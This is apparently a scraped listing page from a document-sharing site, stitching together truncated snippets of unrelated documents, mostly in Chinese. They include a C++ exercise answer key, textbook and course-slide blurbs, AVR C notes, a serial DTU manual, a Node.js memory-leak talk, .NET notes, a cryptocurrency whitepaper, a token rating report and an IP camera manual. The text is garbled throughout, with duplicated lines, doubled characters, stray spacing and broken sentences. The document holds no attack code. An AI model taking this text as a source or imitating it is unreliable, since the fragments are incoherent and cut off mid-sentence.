C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1

C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1 C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 月 3 日 1 1 INPUTOUTPUT 1 InputOutput 题目描述 用 cin 输入你的姓名 ( 没有空格 ) 和年龄 ( 整数 ), 并用 cout 输出 输入输出符合以下范例 输入 master 999 输出 I am master, 999 years old. 注意 "," 后面有一个空格,"." 结束,

More information

FY.DOC

FY.DOC 高 职 高 专 21 世 纪 规 划 教 材 C++ 程 序 设 计 邓 振 杰 主 编 贾 振 华 孟 庆 敏 副 主 编 人 民 邮 电 出 版 社 内 容 提 要 本 书 系 统 地 介 绍 C++ 语 言 的 基 本 概 念 基 本 语 法 和 编 程 方 法, 深 入 浅 出 地 讲 述 C++ 语 言 面 向 对 象 的 重 要 特 征 : 类 和 对 象 抽 象 封 装 继 承 等 主

More information

C语言的应用.PDF

C语言的应用.PDF AVR C 9 1 AVR C IAR C, *.HEX, C,,! C, > 9.1 AVR C MCU,, AVR?! IAR AVR / IAR 32 ALU 1KBytes - 8MBytes (SPM ) 16 MBytes C C *var1, *var2; *var1++ = *--var2; AVR C 9 2 LD R16,-X ST Z+,R16 Auto (local

More information

untitled

untitled 1....2...2...6 2....10 3. UDP...15 4. TCP...16...16...16 1 1. PC COM1 COM2 COM1 COM2 DTU 2 3 4 COM1 COM1 COM2 COM ID 13900000000 DTU COM1 5 COM2 DTU DTU DTU DTU DTU DTU DTU ID ID 3031 3032 2 ID 13900000001

More information

Qcon北京2018-《唯快不破——高效定位线上 Node.js 应用内存泄漏》-黄一君

Qcon北京2018-《唯快不破——高效定位线上 Node.js 应用内存泄漏》-黄一君 唯快不不破 高效定位线上 Node.js 应 用内存泄漏漏 关于我 @hyj1991 (GitHub, CNode) @ 黄 一君,Easy-Monitor 作者 @ 阿 里里云计算有限公司, 高级开发 工程师,Node.js 性能平台 背景 作为中间层, 前后端分离 长连接, 纯服务端应 用 NW.js Electron 等构建跨平台客户端 Java Services RPC calls, protocols

More information

1 Framework.NET Framework Microsoft Windows.NET Framework.NET Framework NOTE.NET NET Framework.NET Framework 2.0 ( 3 ).NET Framework 2.0.NET F

1 Framework.NET Framework Microsoft Windows.NET Framework.NET Framework NOTE.NET NET Framework.NET Framework 2.0 ( 3 ).NET Framework 2.0.NET F 1 Framework.NET Framework Microsoft Windows.NET Framework.NET Framework NOTE.NET 2.0 2.0.NET Framework.NET Framework 2.0 ( 3).NET Framework 2.0.NET Framework ( System ) o o o o o o Boxing UnBoxing() o

More information

MobileCoin Whitepaper CN_FINAL.pages

MobileCoin Whitepaper CN_FINAL.pages MobileCoin 一种能为区块链应 用带来优质 用户体验的虚拟代币 2017 年年 11 月 13 日 研发初衷 目前, 结合了了加密货币和区块链技术的应 用程序往往都很难调配, 尤其是在移动环境下 这类应 用程序的系统, 正 面临着设备资源限制 交易易时间 密钥管理理三 方 面巨 大的调配挑战, 而这些都会带来糟糕的 用户体验 移动应 用 目前并不不具备同步整条千兆字节区块链的能 力力, 用户也

More information

TI-Duo Network评级报告

TI-Duo Network评级报告 DUO Network BB AAA AA A BBB BB B CCC CC C D April 2019 TokenInsight 参对 参割 及 TokenInsight.com bd@tokeninsight.com DUO IEO 2019 4 27 IEO IEO BitMax 1DUO=0.15USDT 1 DUO Network 功 博 央 展 博 展 终 终 终 展 DUO Network

More information

第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 1.2.4 计 算 机 网 络 在

第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 1.2.4 计 算 机 网 络 在 计 算 机 网 络 ( 第 4 版 ) 课 件 第 1 章 计 算 机 网 络 概 述 郭 庆 北 Ise_guoqb@ujn.edu.cn 2009-02-25 第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特

More information

IC-900W Wireless Pan & Tilt Wireless Pan & Tilt Remote Control / Night Vision FCC ID:RUJ-LR802UWG

IC-900W Wireless Pan & Tilt Wireless Pan & Tilt Remote Control / Night Vision FCC ID:RUJ-LR802UWG IC-900W Wireless Pan & Tilt Wireless Pan & Tilt Remote Control / Night Vision FCC ID:RUJ-LR802UWG --------------------------------------------TABLE OF CONTENTS------------------------------------------

More information